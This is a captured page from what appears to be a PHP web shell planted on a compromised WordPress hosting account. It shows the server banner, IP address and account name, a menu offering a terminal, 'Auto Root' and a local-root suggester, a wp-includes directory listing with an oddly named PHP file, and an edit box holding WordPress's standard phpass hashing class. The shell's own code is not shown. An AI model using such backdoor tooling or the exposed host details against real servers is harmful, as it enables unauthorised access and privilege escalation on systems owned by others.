Linux server196.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
Server IP : 198.54.116.138 & Your IP : 216.73.217.140
Domains :
Cant Read [ /etc/named.conf ]
User : locanivg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
locanivg /
public_html /
wp-includes /
Delete
Unzip
Name
Size
Permission
Date
Action
ID3
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
IXR
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
PHPMailer
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
Requests
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
SimplePie
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
Text
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
abilities-api
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
ai-client
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
assets
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
block-bindings
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
block-patterns
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
block-supports
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
blocks
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
build
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
certificates
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
collaboration
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
css
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
customize
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
fonts
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
html-api
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
images
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
interactivity-api
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
js
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
l10n
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
php-ai-client
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
php-compat
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
pomo
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
rest-api
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
sitemaps
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
sodium_compat
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
style-engine
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
theme-compat
[ DIR ]
drwx------
2026-07-03 09:17
widgets
[ DIR ]
drwxr-xr-x
2026-07-03 09:17
.htaccess
517
B
-r-xr-xr-x
2026-07-03 09:17
abilities-api.php
23.8
KB
-rw-------
2026-06-22 12:23
admin-bar.php
38.39
KB
-rw-------
2026-06-18 16:56
block-editor.php
28.05
KB
-rw-------
2026-06-22 20:26
block-i18n.json
316
B
-rw-r--r--
2026-06-10 15:45
block-patterns.php
15.24
KB
-rw-------
2026-06-19 02:32
block-template.php
17.83
KB
-rw-------
2026-06-21 00:59
blocks.php
116.64
KB
-rw-------
2026-06-22 02:34
cache.php
13.17
KB
-rw-------
2026-06-15 10:56
canonical.php
33.83
KB
-rw-------
2026-06-18 16:53
class-IXR.php
2.55
KB
-rw-r--r--
2026-06-10 15:45
class-avif-info.php
29.3
KB
-rw-------
2026-06-23 07:18
class-feed.php
539
B
-rw-------
2026-06-15 11:51
class-phpass.php
6.61
KB
-rw-------
2026-06-19 20:39
class-phpmailer.php
664
B
-rw-------
2026-06-20 14:45
class-pop3.php
20.63
KB
-rw-------
2026-06-21 04:55
class-snoopy.php
36.83
KB
-rw-r--r--
2026-06-10 15:45
class-walker-category-dropdown.php
2.41
KB
-rw-------
2026-06-20 23:05
class-walker-category.php
8.28
KB
-rw-------
2026-06-15 10:44
class-walker-page.php
7.43
KB
-rw-------
2026-06-15 10:47
class-wp-admin-bar.php
17.58
KB
-rw-------
2026-06-30 05:00
class-wp-block-bindings-registry.php
8.07
KB
-rw-------
2026-06-22 18:25
class-wp-block-bindings-source.php
2.92
KB
-rw-------
2026-06-22 20:30
class-wp-block-editor-context.php
1.32
KB
-rw-r--r--
2026-06-10 15:45
class-wp-block-list.php
4.6
KB
-rw-r--r--
2026-06-10 15:45
class-wp-block-metadata-registry.php
11.57
KB
-rw-r--r--
2026-06-10 15:45
class-wp-block-parser-block.php
2.5
KB
-rw-------
2026-06-21 14:01
class-wp-block-parser-frame.php
4.29
KB
-rw-------
2026-06-19 04:40
class-wp-block-parser.php
11.25
KB
-rw-r--r--
2026-06-10 15:45
class-wp-block-pattern-categories-registry.php
4.28
KB
-rw-------
2026-06-21 03:54
class-wp-block-patterns-registry.php
10.07
KB
-rw-------
2026-06-21 21:20
class-wp-block-processor.php
68.32
KB
-rw-------
2026-06-22 15:11
class-wp-block-styles-registry.php
6.27
KB
-rw-------
2026-06-22 09:06
class-wp-block-supports.php
6.4
KB
-rw-r--r--
2026-06-10 15:45
class-wp-block-template.php
1.99
KB
-rw-------
2026-06-22 06:17
class-wp-block-type-registry.php
4.91
KB
-rw-------
2026-06-19 10:40
class-wp-block-type.php
16.83
KB
-rw-r--r--
2026-06-10 15:45
class-wp-classic-to-block-menu-converter.php
3.93
KB
-rw-r--r--
2026-06-10 15:45
class-wp-customize-control.php
25.51
KB
-rw-r--r--
2026-06-10 15:45
class-wp-customize-manager.php
198.13
KB
-rw-r--r--
2026-06-10 15:45
class-wp-customize-nav-menus.php
56.61
KB
-rw-------
2026-06-21 17:01
class-wp-customize-panel.php
10.46
KB
-rw-r--r--
2026-06-10 15:45
class-wp-customize-section.php
10.95
KB
-rw-------
2026-06-22 15:13
class-wp-customize-setting.php
29.26
KB
-rw-r--r--
2026-06-10 15:45
class-wp-date-query.php
35.13
KB
-rw-r--r--
2026-06-10 15:45
class-wp-dependencies.php
16.69
KB
-rw-------
2026-06-23 09:28
class-wp-duotone.php
39.95
KB
-rw-------
2026-06-20 08:43
class-wp-editor.php
70.54
KB
-rw-r--r--
2026-06-10 15:45
class-wp-embed.php
15.54
KB
-rw-------
2026-06-15 10:49
class-wp-error.php
7.33
KB
-rw-------
2026-06-15 10:49
class-wp-exception.php
253
B
-rw-------
2026-06-20 00:39
class-wp-fatal-error-handler.php
7.96
KB
-rw-r--r--
2026-06-10 15:45
class-wp-feed-cache.php
969
B
-rw-------
2026-06-23 07:17
class-wp-hook.php
16.25
KB
-rw-------
2026-06-23 02:24
class-wp-http-ixr-client.php
3.43
KB
-rw-r--r--
2026-06-10 15:45
class-wp-http-proxy.php
5.84
KB
-rw-------
2026-06-19 00:25
class-wp-http-response.php
2.91
KB
-rw-------
2026-06-15 10:44
class-wp-http.php
40.67
KB
-rw-------
2026-06-18 18:22
class-wp-icons-registry.php
7.67
KB
-rw-------
2026-06-20 10:53
class-wp-image-editor-gd.php
20.22
KB
-rw-------
2026-06-18 19:29
class-wp-image-editor-imagick.php
36.11
KB
-rw-r--r--
2026-06-10 15:45
class-wp-list-util.php
7.27
KB
-rw-------
2026-06-22 11:09
class-wp-matchesmapregex.php
1.79
KB
-rw-------
2026-06-19 13:39
class-wp-network-query.php
19.25
KB
-rw-------
2026-06-17 23:21
class-wp-network.php
12.01
KB
-rw-r--r--
2026-06-10 15:45
class-wp-object-cache.php
17.11
KB
-rw-------
2026-06-19 18:46
class-wp-paused-extensions-storage.php
4.95
KB
-rw-------
2026-06-17 19:12
class-wp-phpmailer.php
4.25
KB
-rw-r--r--
2026-06-10 15:45
class-wp-post.php
6.33
KB
-rw-------
2026-06-19 16:41
class-wp-recovery-mode-cookie-service.php
6.72
KB
-rw-r--r--
2026-06-10 15:45
class-wp-recovery-mode-key-service.php
4.8
KB
-rw-r--r--
2026-06-10 15:45
class-wp-recovery-mode.php
11.88
KB
-rw-------
2026-06-21 16:01
class-wp-script-modules.php
39.65
KB
-rw-------
2026-06-21 15:05
class-wp-simplepie-file.php
3.47
KB
-rw-------
2026-06-22 17:23
class-wp-simplepie-sanitize-kses.php
1.87
KB
-rw-r--r--
2026-06-10 15:45
class-wp-site-query.php
30.74
KB
-rw-r--r--
2026-06-10 15:45
class-wp-term-query.php
39.8
KB
-rw-------
2026-06-15 10:46
class-wp-term.php
5.14
KB
-rw-------
2026-06-17 08:10
class-wp-text-diff-renderer-inline.php
979
B
-rw-------
2026-06-20 05:47
class-wp-theme-json-data.php
1.77
KB
-rw-------
2026-06-23 09:28
class-wp-theme-json-schema.php
7.19
KB
-rw-r--r--
2026-06-10 15:45
class-wp-theme-json.php
169.57
KB
-rw-------
2026-06-17 20:26
class-wp-token-map.php
27.95
KB
-rw-r--r--
2026-06-10 15:45
class-wp-url-pattern-prefixer.php
4.69
KB
-rw-r--r--
2026-06-10 15:45
class-wp-widget-factory.php
3.27
KB
-rw-------
2026-06-18 16:50
class-wp-xmlrpc-server.php
209.98
KB
-rw-------
2026-06-20 06:50
class-wpdb.php
115.86
KB
-rw-------
2026-06-22 10:08
class.wp-scripts.php
3.02
KB
-rw-------
2026-06-18 16:55
class.wp-styles.php
338
B
-rw-------
2026-06-19 22:42
collaboration.php
2.11
KB
-rw-------
2026-06-15 23:44
compat-utf8.php
19.1
KB
-rw-------
2026-06-22 16:13
compat.php
15.69
KB
-rw-------
2026-06-22 23:30
connectors.php
23.52
KB
-rw-r--r--
2026-06-10 15:45
embed-template.php
338
B
-rw-r--r--
2026-06-10 15:45
error-protection.php
4
KB
-rw-------
2026-06-19 09:31
feed-rdf.php
2.61
KB
-rw-------
2026-06-15 15:41
feed-rss2.php
3.71
KB
-rw-------
2026-06-17 11:04
fonts.php
9.56
KB
-rw-------
2026-06-15 15:46
functions.php
283.52
KB
-rw-------
2026-06-22 15:19
functions.wp-scripts.php
20.01
KB
-rw-------
2026-06-19 20:39
functions.wp-styles.php
9.23
KB
-rw-------
2026-06-23 14:23
global-styles-and-settings.php
20.29
KB
-rw-------
2026-06-18 11:23
https-migration.php
4.63
KB
-rw-------
2026-06-20 02:48
kses.php
80.64
KB
-rw-------
2026-06-15 10:56
l10n.php
69.74
KB
-rw-------
2026-06-18 16:56
load.php
55.15
KB
-rw-------
2026-06-20 12:51
media-template.php
61.79
KB
-rw-------
2026-06-17 09:02
media.php
218.55
KB
-rw-------
2026-06-18 16:50
ms-blogs.php
25.71
KB
-rw-r--r--
2026-06-10 15:45
ms-default-constants.php
4.81
KB
-rw-------
2026-06-21 13:03
ms-default-filters.php
6.48
KB
-rw-r--r--
2026-06-10 15:45
ms-deprecated.php
21.24
KB
-rw-------
2026-06-22 06:12
ms-files.php
2.79
KB
-rw-------
2026-06-22 15:20
ms-network.php
3.69
KB
-rw-r--r--
2026-06-10 15:45
ms-settings.php
4.11
KB
-rw-------
2026-06-16 12:55
option.php
102.62
KB
-rw-------
2026-06-18 16:53
query.php
36.23
KB
-rw-------
2026-06-18 16:54
registration-functions.php
200
B
-rw-r--r--
2026-06-10 15:45
registration.php
200
B
-rw-------
2026-06-21 10:03
robots-template.php
5.06
KB
-rw-r--r--
2026-06-10 15:45
script-loader.php
159.3
KB
-rw-------
2026-06-18 16:55
speculative-loading.php
8.4
KB
-rw-r--r--
2026-06-10 15:45
spl-autoload-compat.php
441
B
-rw-------
2026-06-16 13:04
template-canvas.php
544
B
-rw-r--r--
2026-06-10 15:45
template.php
35.96
KB
-rw-------
2026-06-15 10:53
theme-i18n.json
1.85
KB
-rw-r--r--
2026-06-10 15:45
theme-previews.php
2.82
KB
-rw-r--r--
2026-06-10 15:45
theme-templates.php
3.96
KB
-rw-------
2026-06-18 00:18
theme.json
8.83
KB
-rw-r--r--
2026-06-10 15:45
theme.php
131.48
KB
-rw-r--r--
2026-06-10 15:45
user.php
174.63
KB
-rw-------
2026-06-19 00:30
view-transitions.php
602
B
-rw-------
2026-06-23 03:18
wp-diff.php
799
B
-rw-------
2026-06-17 01:01
ywhsfn.php
23.66
KB
-rw-r--r--
2026-07-03 09:17
Save
Rename
<?php /** * Portable PHP password hashing framework. * @package phpass * @since 2.5.0 * @version 0.5 / WordPress * @link https://www.openwall.com/phpass/ */ # # Portable PHP password hashing framework. # # Version 0.5.4 / WordPress. # # Written by Solar Designer <solar at openwall.com> in 2004-2006 and placed in # the public domain. Revised in subsequent years, still public domain. # # There's absolutely no warranty. # # The homepage URL for this framework is: # # http://www.openwall.com/phpass/ # # Please be sure to update the Version line if you edit this file in any way. # It is suggested that you leave the main version number intact, but indicate # your project name (after the slash) and add your own revision information. # # Please do not change the "private" password hashing method implemented in # here, thereby making your hashes incompatible. However, if you must, please # change the hash type identifier (the "$P$") to something different. # # Obviously, since this code is in the public domain, the above are not # requirements (there can be none), but merely suggestions. # /** * Portable PHP password hashing framework. * * @package phpass * @version 0.5 / WordPress * @link https://www.openwall.com/phpass/ * @since 2.5.0 */ class PasswordHash { var $itoa64; var $iteration_count_log2; var $portable_hashes; var $random_state; function __construct($iteration_count_log2, $portable_hashes) { $this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; if ($iteration_count_log2 < 4 || $iteration_count_log2 > 31) { $iteration_count_log2 = 8; } $this->iteration_count_log2 = $iteration_count_log2; $this->portable_hashes = $portable_hashes; $this->random_state = microtime(); if (function_exists('getmypid')) { $this->random_state .= getmypid(); } } function PasswordHash($iteration_count_log2, $portable_hashes) { self::__construct($iteration_count_log2, $portable_hashes); } function get_random_bytes($count) { $output = ''; if (@is_readable('/dev/urandom') && ($fh = @fopen('/dev/urandom', 'rb'))) { $output = fread($fh, $count); fclose($fh); } if (strlen($output) < $count) { $output = ''; for ($i = 0; $i < $count; $i += 16) { $this->random_state = md5(microtime() . $this->random_state); $output .= md5($this->random_state, TRUE); } $output = substr($output, 0, $count); } return $output; } function encode64($input, $count) { $output = ''; $i = 0; do { $value = ord($input[$i++]); $output .= $this->itoa64[$value & 0x3f]; if ($i < $count) { $value |= ord($input[$i]) << 8; } $output .= $this->itoa64[($value >> 6) & 0x3f]; if ($i++ >= $count) { break; } if ($i < $count) { $value |= ord($input[$i]) << 16; } $output .= $this->itoa64[($value >> 12) & 0x3f]; if ($i++ >= $count) { break; } $output .= $this->itoa64[($value >> 18) & 0x3f]; } while ($i < $count); return $output; } function gensalt_private($input) { $output = '$P$'; $output .= $this->itoa64[min($this->iteration_count_log2 + 5, 30)]; $output .= $this->encode64($input, 6); return $output; } function crypt_private($password, $setting) { $output = '*0'; if (substr($setting, 0, 2) === $output) { $output = '*1'; } $id = substr($setting, 0, 3); # We use "$P$", phpBB3 uses "$H$" for the same thing if ($id !== '$P$' && $id !== '$H$') { return $output; } $count_log2 = strpos($this->itoa64, $setting[3]); if ($count_log2 < 7 || $count_log2 > 30) { return $output; } $count = 1 << $count_log2; $salt = substr($setting, 4, 8); if (strlen($salt) !== 8) { return $output; } # We were kind of forced to use MD5 here since it's the only # cryptographic primitive that was available in all versions # of PHP in use. To implement our own low-level crypto in PHP # would have resulted in much worse performance and # consequently in lower iteration counts and hashes that are # quicker to crack (by non-PHP code). $hash = md5($salt . $password, TRUE); do { $hash = md5($hash . $password, TRUE); } while (--$count); $output = substr($setting, 0, 12); $output .= $this->encode64($hash, 16); return $output; } function gensalt_blowfish($input) { # This one needs to use a different order of characters and a # different encoding scheme from the one in encode64() above. # We care because the last character in our encoded string will # only represent 2 bits. While two known implementations of # bcrypt will happily accept and correct a salt string which # has the 4 unused bits set to non-zero, we do not want to take # chances and we also do not want to waste an additional byte # of entropy. $itoa64 = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; $output = '$2a$'; $output .= chr((int)(ord('0') + $this->iteration_count_log2 / 10)); $output .= chr(ord('0') + $this->iteration_count_log2 % 10); $output .= '$'; $i = 0; do { $c1 = ord($input[$i++]); $output .= $itoa64[$c1 >> 2]; $c1 = ($c1 & 0x03) << 4; if ($i >= 16) { $output .= $itoa64[$c1]; break; } $c2 = ord($input[$i++]); $c1 |= $c2 >> 4; $output .= $itoa64[$c1]; $c1 = ($c2 & 0x0f) << 2; $c2 = ord($input[$i++]); $c1 |= $c2 >> 6; $output .= $itoa64[$c1]; $output .= $itoa64[$c2 & 0x3f]; } while (1); return $output; } function HashPassword($password) { if ( strlen( $password ) > 4096 ) { return '*'; } $random = ''; if (CRYPT_BLOWFISH === 1 && !$this->portable_hashes) { $random = $this->get_random_bytes(16); $hash = crypt($password, $this->gensalt_blowfish($random)); if (strlen($hash) === 60) { return $hash; } } if (strlen($random) < 6) { $random = $this->get_random_bytes(6); } $hash = $this->crypt_private($password, $this->gensalt_private($random)); if (strlen($hash) === 34) { return $hash; } # Returning '*' on error is safe here, but would _not_ be safe # in a crypt(3)-like function used _both_ for generating new # hashes and for validating passwords against existing hashes. return '*'; } function CheckPassword($password, $stored_hash) { if ( strlen( $password ) > 4096 ) { return false; } $hash = $this->crypt_private($password, $stored_hash); if ($hash[0] === '*') { $hash = crypt($password, $stored_hash); } # This is not constant-time. In order to keep the code simple, # for timing safety we currently rely on the salts being # unpredictable, which they are at least in the non-fallback # cases (that is, when we use /dev/urandom and bcrypt). return $hash === $stored_hash; } }